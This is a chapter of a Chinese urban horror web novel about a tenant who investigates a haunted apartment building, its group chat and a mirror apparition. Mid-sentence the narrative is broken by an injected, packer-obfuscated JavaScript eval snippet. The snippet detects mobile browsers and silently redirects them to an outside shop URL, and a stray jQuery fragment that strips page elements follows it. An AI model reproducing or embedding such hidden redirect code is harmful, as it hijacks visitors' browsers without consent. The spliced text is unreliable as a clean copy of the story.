文趣网 > 都市小说 > 最后一户 > 3. 楼道里的人
    第三章

    魏凌在门后面站了很久。

    他背抵着门板,防盗链绷得笔直,铁链的另一头扣在门框的卡槽里,细细的几节铁环被拉得发出轻微的金属摩擦声。他全身的肌肉都是僵的,膝盖微微弯着,身体的重心压在后脚跟上,像一个随时要跑但又不知道往哪跑的人。手机握在手里,屏幕上的群消息还亮着,那行字像钉子一样钉在他视网膜上:"你拿了我的东西,总要还的。下来吧,我在B-07等你。"

    他不知道B-07是什么。地下二层,他搬进来三天了,连一楼大堂都没怎么走过,更别提地下室。但他看过那栋楼的电梯面板——上面的按键确实有"B1"和"B2"两个楼层,只是按键旁边的标识已经磨损了,只模糊地剩下一小块灰白色的底漆。当时他没在意,现在回想起来,那两颗按键上有一点轻微的指纹痕迹,有人经常按。

    他慢慢从门板上挪开,锁好门,走到客厅中间。天色已经亮透了,雨彻底停了,窗外的云缝里透出稀薄的日光,灰白灰白的,照在对面的楼墙上,像一张洗过太多次的照片。601的窗户还亮着灯,三盏,在白天里显得格外扎眼——橘黄色的暖光在灰蒙蒙的天光下像三颗不合时宜的眼珠子,直勾勾地朝着他的方向。魏凌把窗帘拉严了,退回来坐在沙发上。

    茶几上摆着两本一模一样的黑色日记本。一本是他从灶台下翻出来的,缺了最后一页;另一本是他刚从601拿回来的,封皮上沾了一点灰,边角有一小片深褐色的污渍,摸上去是硬的,像干透了的血。他把两本并排放在面前,翻开601那本,从头到尾又仔细看了一遍。前六页都是日常记录,流水账似的,写的是搬进来之后每天发生的事——收拾屋子、买日用品、跟房东打电话、在群里看到奇怪的对话。但从第七页开始,字迹变了。

    第七页上写着:

    "今天是第七天。我决定不走了。不是因为我不怕了,是因为我发现了。这栋楼里每一层都有一个空房间,但每一个空房间的'活法'不一样。六楼是601,七楼是704,八楼没有。八楼的空房间是虚拟的,它藏在所有人的聊天记录里。你看群的时候,它就在你旁边。"

    魏凌翻到第八页。上面只有一句话,写得极用力,笔尖几乎穿透了纸面:

    "它通过群消息看着你。你看见哪条消息,它就站在哪条消息背后。"

    他把那行字读了三遍,然后把两本日记都合上,压在一本行测习题集底下,仿佛那样就能把它们封住。之后他做了三件事:第一,他拿起手机试着给110打了个电话。拨号界面显示"呼叫中",三秒后自动挂断,没有任何声音。第二,他打开微信看了看私聊,所有对话窗口都显示"消息发送失败",红色感叹号排成一列。第三,他走到卫生间镜子前,盯着镜面看了整整一分钟。镜子里只有他自己,以及他身后的墙面、门框、毛巾架。一切都静止的。没有影子,没有多余的东西。

    他洗完脸,换了件干净的白色短袖。他决定去地下二层看看。不是因为B-07在等他,而是因为他想搞清楚那本日记里说的"八楼是虚拟的"是什么意思。如果八楼的空房间藏在聊天记录里,那地下二层藏的是什么?那张房卡是前租客留给他的最后一样东西,它不该只是一张门卡。

    他走到门口,从鞋柜上拿起钥匙串。他注意到钥匙串上多了一把钥匙——铜色的,很小,比他家的门钥匙细一圈,齿痕非常浅,像是一把备用钥匙或者柜子锁。他不记得这把钥匙什么时候出现在他钥匙串上的。他捏着那把铜色钥匙翻来覆去看了半天,然后把它单独拆下来揣进了裤兜里。

    八点四十分。他第二次出了门。

    走廊里很安静,比凌晨还安静。凌晨好歹有雨声,现在什么都没有,整栋楼像被抽走了空气一样,脚步声踩在地砖上发出空洞的回响。魏凌走到电梯间,按了一下下行键。电梯轿厢停在八楼,门立刻就开了——和凌晨一样,像是从来没有被人叫下去过。他犹豫了两秒,走了进去。

    轿厢里的灯光是惨白色的,顶上一根灯管在微微闪烁,频率和601那台手机的倒计时一模一样:亮三秒,灭两秒。魏凌把手伸向楼层面板,B2的按键在最下面一排,他按了一下,按键上亮起一圈微弱的橙色光。电梯门缓缓关上,轿厢一震,开始下行。显示屏上的数字从8跳到7、6、5、4、3、2、1,在1的位置停了两秒,然后跳成了B1。又是一震,继续下行。

    B1到了。门没有开。外面的楼层是黑的,光透不出去,像电梯停在了一个没有电的楼层。魏凌能感觉到轿厢还在往下走,显示屏上的B1亮着,但实际位置已经低于B1了,他的身体感觉到了轻微的失重。大概又过了三四秒,轿厢猛地顿了一下,发出一声金属摩擦的闷响,门开了。

    B2的走廊比楼上暗得多。楼道里的灯是感应式的,但似乎灵敏度很低,魏凌在电梯门口站了好一会儿,才有一盏灯在他头顶亮起来,发出昏黄色的光,照不到走廊的尽头。他能看见走廊两侧是一排排铁皮门,像仓库或储物间,每扇门上都钉着一块小金属牌,上面印着编号。B-01、B-02、B-03……一直延伸到黑暗中。

    他往前走了几步,B-07在走廊中段偏里的位置,左手的第三扇门。门是银灰色的铁皮门,上面有一道横向的通风口,通风口的铁栅栏被什么东西从里面堵住了,看不清后面的情况。门上没有锁孔,只有一个电子感应区——巴掌大的矩形面板,面板中央嵌着一颗小绿灯,正一下一下地闪烁。魏凌掏出那张房卡,贴了上去。绿灯变红了一瞬,然后门锁内部发出一声咔嗒,门开了一条缝。

    魏凌推开门。

    里面是一个储藏间,不大,大概五六平方米,比他自己家的卫生间还小一圈。房间靠墙摆着一排铁架子,架子上堆着纸箱子、旧书、发黄的文件夹、一台老式收音机、几个落了灰的保温杯。地上铺着深灰色的地毯,地毯上放着一个小号的折叠桌,桌上摆着一个相框、一支笔、一本翻开的笔记本。笔记本翻开的那一页上,画着一幅图。

    魏凌走过去看那幅图。那是一张简易的平面图,画的是西天穹整栋楼的横截面——地上22层,地下2层。每一层都用铅笔标出了住户编号,有的画了圈,有的画了叉。八楼那一行里,802的位置被加粗描了两遍,旁边用铅笔记了一行小字:"入口。但也是出口。别从门走。从镜子走。"

    魏凌盯着那行字看了很久。从镜子走。他想起旧日记最后一页上的话:"别信镜子。"又想起从601带回的那本日记最后一页:"镜子里的那个人早就不在了。"两句好像矛盾的话指向同一个东西——镜子是关键,但镜子危险。他把那幅图用手机拍了下来。

    然后他注意到桌面上那个相框。相框里的照片是一个年轻男人,大概二十七八岁,短发,戴着一副黑框眼镜,穿着一件灰色的连帽卫衣,站在某个阳台上,身后是西天穹对面那栋楼的墙面。男人对着镜头笑,嘴角扯出一边,显得有点玩世不恭。魏凌把相框翻过来,背面贴着一张白色标签纸,上面写着两个手写的字:

    "周伟。"

    周伟。他在601那本日记最后一页的落款上看到的那个名字,最后一个字正是"伟"。这个叫周伟的男人就是802的前租客。魏凌把相框放回桌上,继续翻那本打开的笔记本。笔记本上是更详细的记录,时间跨度从三个月前到两周前。他翻到中间一页,上面写着:

    "我花了两个月才弄明白西天穹的结构。这栋楼不是给人住的,它是给人'看'的。每一层楼都有一个观察者——住在某个房间里的人看不见它,但住在别处的人能看见。601是观察者之一。704是另一个。还有几个我还没确定。它们不是活的。但它们能通过群消息说话。因为它们用的是'名字'——每一个账号对应的不是人,是一个位置。谁在那个位置,谁就能用那个名字说话。"

    魏凌把那段话反复看了几遍,然后翻到更后面。最后几页的记录开始变得断断续续,有的只有半句话,有的字迹潦草到几乎认不出来:

    "今天尝试从八楼离开。走到一楼大厅,门口的卷帘门关着。有人站在外面。那个人穿着老周的制服。我知道那不是老周。"

    "第二天。我去了B1。B1的走廊尽头还有一扇门。我打不开。但我听见里面有人在数数。从1数到100,然后从头再来。声音是个小孩的。但走廊里没有人。"

    "第三天。我决定写日记放在灶台下。如果还有人搬进来,希望你能看见。这栋楼有规则。找出规则就能活着出去。第一个规则:群里的消息不要第一时间信。第二个规则:门口的敲门声不要第一时间开。第三个规则——第三个规则我还没完全确认,等我确认了我再写。"

    第三个规则那行字底下被划掉了,后面写了一个词:"镜子。"但"镜子"两个字后面又画了一个问号。最后一页只有一行字:

    "周伟。我去了地下二层。B-07。我把一些东西放在这里。还有一个东西我带不走。你们要自己找。"

    魏凌合上笔记本。他现在大概能拼凑出一个轮廓——周伟是802的前租客,他发现了这栋楼的某种规则,他试图离开但失败了,最后他把线索分散在两个地方:灶台下的日记本和B-07这个储藏间。而现在周伟本人……那本日记最后说"我已经在对面了"。对面是哪里?对面那栋楼?还是某个看不见的"位置"?

    魏凌把笔记本和照片都塞进了外套。他正准备离开B-07,耳朵捕捉到了一个声音。

    声音从走廊深处传来。很轻,很远,像是从B1或者更远的地方传下来的——有节奏,一下一下,像什么东西在撞击金属。咚。咚。咚。间隔很均匀。和昨晚他听到的敲门声一模一样,但距离远得多。那声音从走廊尽头那一片黑暗中传来,魏凌站在B-07门口,竖着耳朵听了几秒,然后迅速关上门,往电梯方向走。他走得很轻,脚尖先落地,脚跟着地的时候放慢速度,尽量不要发出声音。头顶的感应灯在他经过时一盏一盏亮起来,经过之后又一盏一盏灭掉,像有人在他身后依次关灯。

    他走到电梯门口,按了上行键。电梯屏幕上显示B2,门立刻就开了——它一直停在这里没有动过。魏凌进了轿厢,按了8,门缓缓合上。在门完全合拢之前,他听见那个咚咚声从走廊深处移近了一点,还是同样均匀的节奏,但更清楚了。那声音里夹杂着另一种东西——像是人的呼吸,很粗很重,拖在每一个咚的后面。

    门关上了。电梯缓缓上行。

    回到八楼之后,魏凌没有立刻进屋。他站在走廊里,把耳朵贴在自己的门板上听了一会儿,802里面很安静。然后他侧过身,把耳朵贴在隔壁803的门板上听——里面也是安静的。但他注意到803门口那个外卖袋子还挂在那里,奶茶杯里的水珠已经没有了,冰化了,杯壁上凝着一圈白色的水渍。他蹲下来,透过外卖袋子底部的透气孔往里看了看。袋子里除了奶茶杯,还有一张小票。他把小票抽了出来,上面打印着一行字:"订单号:XTG-0722-0018,配送时间:2026年7月16日 00:34。"

    昨天晚上十二点三十四分。昨天夜里有人叫了外卖,送到803,而现在803里面安静得像空置了很久。魏凌把小票收起来,退回了802。他锁好门,挂上防盗链,把今天收集的所有东西摊在茶几上——两本日记、周伟的照片、地下二层的平面图照片、一张外卖小票、那把铜色小钥匙。

    他把铜色小钥匙拿在手里看了很久。这把钥匙能开什么锁?801、803的房门都是电子锁,他见过,没有钥匙孔。602的门是普通门锁但上面贴了便利贴,钥匙孔露在外面。还有601的门——他没注意过601那扇铁皮门上有没有钥匙孔。他回忆了一下,那扇门是推开的,门锁部分有一个转动的旋钮,但好像没有钥匙孔。

    他站起来,走到门口,透过猫眼往外看了一眼。走廊里空荡荡的。他放下猫眼,又看了一眼门内侧的锁——这扇门有两道锁,一道是普通的弹子锁,锁孔是圆形的;另一道是上下两道防盗插销。那把铜色小钥匙比他家门的锁孔细两圈,显然不是开这扇门的。

    他把钥匙放回兜里,回到沙发上坐下。手机又震了一下。群里有新消息。他打开一看,发消息的是"保安老周"。

    "@所有人,昨天晚上大家辛苦了。这边已经确认了,凶手抓错了的事是误会,派出所那边复核过了,还是原来那四个人。大家安心。今天物业会恢复正常办公,电费水费可以到一楼大堂缴纳。另外提醒一下各位,楼道里的监控今天会有人来修,施工期间可能会有噪音,大家多担待。"

    消息发出来之后,群里立刻有了反应。

    "303小鹿":"老周你可算出来了!昨天吓死我了你知道吗!"

    "204老钱":"老周,你昨晚那条语音说抓错了,现在又说没抓错,到底哪个是真的?"

    "1202方琳":"老周你人在哪儿呢?我上午去一楼大堂没看见你啊。"

    老周没有回复。群里的人开始七嘴八舌地说起来,有人抱怨老周吓人,有人问监控什么时候修好,有人问昨天半夜群里那些消息是怎么回事。小鹿说她昨晚没睡好现在头很疼,方琳说她那层走廊里有一股怪味道,苏姨说601昨晚灯亮了一整夜。每个人都像活过来一样,声音恢复了正常,语气带着日常的抱怨和困惑,好像昨天夜里那场恐怖的群聊只是一场集体噩梦。

    魏凌盯着屏幕,一个字一个字地看。他没有说话。

    但他在心里数着。老周这条消息发出来之后,群里说话的人一共有七个——小鹿、老钱、方琳、苏姨、张福、王大姐,还有一个人他不认识,头像是只灰色猫,备注名叫"703阿凯"。七个人。加上老周自己,就是八个人。但601李萍没有说话。从凌晨那条"你拿走我的东西了"之后,601李萍就再也没出现过。而昨夜那个在群里说"601门口站着一个人"的小鹿,现在听起来正常得不像经历过那件事。

    魏凌在群里打了一行字,发送出去了:"老周,你在几楼?我下去找你交水电费。"

    消息发出去的瞬间,群里安静了。上一个还在抱怨的小鹿突然不说话了,正在聊天的老钱也停了,整个群像被人按下了暂停键,界面上的时间还在跳,但没有人再发新消息。魏凌等了十秒,二十秒,三十秒。然后老周回了四个字:

    "我在大堂。"

    魏凌站起来,拿起钥匙,走到门口。他没有出门。他站在门内,又发了一条:"那我下来了,你等着我。"发完之后他把手机揣进兜里,走到窗边,掀开窗帘一角往外看。他看的方向不是601,而是楼下——一楼大堂正对着楼前的空地,从八楼的角度往下看,能看见大堂门口的玻璃门和门前那片水泥地面。

    玻璃门是关着的。门里面黑洞洞的,什么都没有。大堂的灯没开。门前的地

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897745|212864||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    面上没有脚印,没有水渍,只有雨水积出的几片浅滩,映着灰白的天空。魏凌盯着那里看了很久,然后低头看了一眼手机。群里老周刚才说"我在大堂",但大堂的灯是关着的,玻璃门里面是黑的,没有任何人的影子。八楼窗外的风从窗框缝隙里灌进来,吹在他脸上,凉飕飕的。

    他放下了窗帘。他决定不下楼了。他回到茶几前,拿起旧日记翻到第一页,那行"别信群"在日光下显得更清楚了——字迹是黑色圆珠笔写的,笔画顿得很重,能看见纸背的压痕。他把指尖放在"群"字的最后一笔上,顺着那个拖长的尾巴摸过去。那条线在纸面上拖出去很长,一直拖到页脚边缘就断了。但如果把纸举起来对着光看,那条线的压痕没有断,它弯了一道弧线,拐到了页脚外面——像是写字的人写着写着,笔尖被什么东西打断了一样。

    魏凌把纸页翻过去看背面。背面的同一位置,有一个小小的圆孔。圆孔的边缘是焦黄色的,像被烟头烫过。他把那页纸对着光举起来,那个小孔正透过去一束光,豌豆大小的,像一个洞穿了两页纸的眼睛。

    他把日记本合上。门口的走廊里传来一个声音。不是敲门声。是脚步声——很轻,从电梯口的方向慢慢走过来,一步一步,走到802门口,停了。然后一个女人的声音从外面传进来:"小魏,你在家吗?我是704的周婶。我找你借点东西。"

    魏凌抬起头,目光落在门板上。他没有动。那个声音又响起来,比他想象的老一些,带着一点点方言的味道:"小魏啊,我听说你刚搬来,我一个老人家住楼上,想找你借个螺丝刀,家里的灯泡坏了。"

    魏凌站起来,走到门边。他透过猫眼往外看了一眼——门外站着一个女人,五十多岁,穿一件紫色带碎花的上衣,头发用发夹别在耳后,体型有点胖,脸圆圆的,手里端着一只搪瓷碗,碗里似乎装着什么东西。她站在门口,脸上带着笑,笑容很自然,像任何一位敲门借东西的邻居。魏凌看了她三秒钟,然后退回来,开口问了一句:"你住704?"

    外面的女人点头:"对对对,704,你家楼上楼上再上面那一层。我搬来才一个月,投奔我外甥来的。这不上次在业主群看见你头像,心想新邻居嘛,就记了一下。"

    魏凌没有开门。他问:"你怎么知道我姓魏?"

    门外的周婶愣了一下,然后笑了:"哎呀,群里头像下面有名字的嘛。"

    魏凌低头看了一眼自己的微信头像。他换过头像吗?没有。他搬进来之后从来没改过头像,他的头像是默认的灰色人形剪影,昵称是"V",没有任何信息能让人知道他的姓。他的名字"魏凌"在群里是实名备注没错,但那是只有群成员才能看到的信息,周婶知道他的姓只有一种可能——她已经在群里看到过他的名字了。但一个刚搬来一个月的邻居,在大早上敲一个陌生单身男青年的门借螺丝刀,而且是精准地带着碗和自然的笑容出现在门口,这件事本身就让魏凌觉得哪里不对劲。

    但他还是开了门。他只开了一条缝,防盗链挂着,门缝大概两指宽。周婶的脸凑过来,笑嘻嘻的,眼睛眯成两条缝,眼角堆着几根鱼尾纹:"谢谢你啊小伙子,我就借一下,用完马上还。"魏凌从门缝里递出一把十字螺丝刀——是他收拾屋子的时候在抽屉里翻到的。周婶接过去,端详了一下,然后点了点头:"好用,好用。我用完给你送回来啊。"她转身走了,脚步不快不慢,紫色碎花的背影消失在走廊拐角。

    魏凌关上门,挂好防盗链。他走到客厅,隔着窗帘的缝隙往下看了一眼。周婶出现在楼下空地上,她穿过水泥地面,走向对面那栋楼的入口,手里的搪瓷碗还在,螺丝刀已经不见了。

    魏凌回到沙发上坐下,在手机里翻了翻群成员列表。704的账号显示名称是"周婶",头像是一张自己的照片——就站在刚才他看见的那个位置拍的。头像里的周婶穿着同一件紫色碎花上衣,站在西天穹对面的楼前,手里也端着那只搪瓷碗。头像拍摄时间没有显示,但照片的光线很暗,像是傍晚拍的。

    魏凌把手机放下,闭上眼。他的脑子里在飞速转动——601的灯,苏姨的纸条,601卧室里的倒计时手机,地下二层B-07的储藏间,周伟的日记和相片,现在又来了一个周婶。这些碎片都在指向同一件事:西天穹这栋楼里不止有"活人"和"死人",还有一种介于中间的东西。有人用别人的账号说话,有人住在一个已经不存在的房间,有人站在门口叫你开门而她根本不是你的邻居。这一切的规则周伟说他已经发现了三个,但第三个他还没有写下来。第三个规则,是镜子。

    魏凌睁开眼。他走到卫生间门口,拉开了门。镜子就在洗手池上方,镶在整面墙上。他站在镜子前,直视着镜中的自己。这一次他没有移开目光。

    他盯着看了很久。镜中的世界很安静,他的脸,他的肩膀,他身后的门框,卫生间的窗户。一切都是反过来的。但他突然注意到一个极细微的细节——他身后卫生间的窗户外面,在天光映照下,有一个模糊的人影。那影子不是站在窗外的——那影子像是浮在窗户的玻璃里,像一层贴在玻璃夹层中间的人形剪影,浅灰色,隐隐约约,但确实存在。

    魏凌猛地回头看身后的窗。窗玻璃外面什么都没有,只有对面楼的墙和灰白的天。但当他转回来再看镜子的时候,那个人影已经挪动了位置——从窗户玻璃里移到了他身后半米左右的空气里,浮在卫生间门框旁边,轮廓更清楚了,像一个正在从镜子里往外走的人。

    魏凌没有动。他盯着镜子,看着那个轮廓从浅灰色慢慢变深,从模糊慢慢清晰。那个人影开始转过身来,面向着他。那是一个男人的身形——瘦高,短发,穿着一件连帽卫衣,卫衣兜帽搭在后背上。那个人影站在他身后,正慢慢地抬起一只手,朝着他后背的方向伸过来。

    魏凌认出了那件卫衣。灰色的连帽卫衣,周伟照片里穿的那一件。那个人影就是周伟。或者说,是周伟留在镜子里的什么东西。

    那只手在距离他后背大概一掌宽的地方停住了。魏凌在镜子里看见那根手指向前伸着,指尖微微弯曲,像是想拍他的肩膀。他浑身僵硬,呼吸已经停了七八秒。然后他听见一个声音——从镜子里面传出来的,被玻璃压得扁扁的、闷闷的,像从水底浮上来的气泡破裂声:"别回头。"

    魏凌瞬间闭上了眼。

    他站在原地,闭着眼,心脏在胸腔里疯狂地撞击,他能听见自己的血液在太阳穴里嗡嗡地流。那个闷闷的声音又响了一声,比刚才更模糊了,像已经掉进水里一样:"走。去一楼。别走电梯。走楼梯。"

    然后一切安静了。

    魏凌睁开眼。镜子里只有他自己。身后的卫生间门框、窗户、墙壁,全部干干净净,什么都没有。

    他扶着洗手池的边缘喘了很久。他在卫生间门口站了五分钟,才慢慢走回客厅。手机屏幕上有一条新消息,来自"204老钱",私聊。魏凌点开一看,红色感叹号消失了——他能收到消息了。老钱只发了一行字:"小魏,你还活着吗?"

    魏凌盯着那行字,手指放在屏幕上,没有立刻回。他抬起头,看向窗外。对面那栋楼的七楼,有一扇窗户正对着他的方向,窗帘是拉开的,窗户里面坐着一个穿灰色衣服的人,正侧着身子,面朝着他的窗户。

    那个人在看他。距离太远看不清脸,但那件衣服的轮廓,魏凌认得。灰色的连帽卫衣。

    周伟。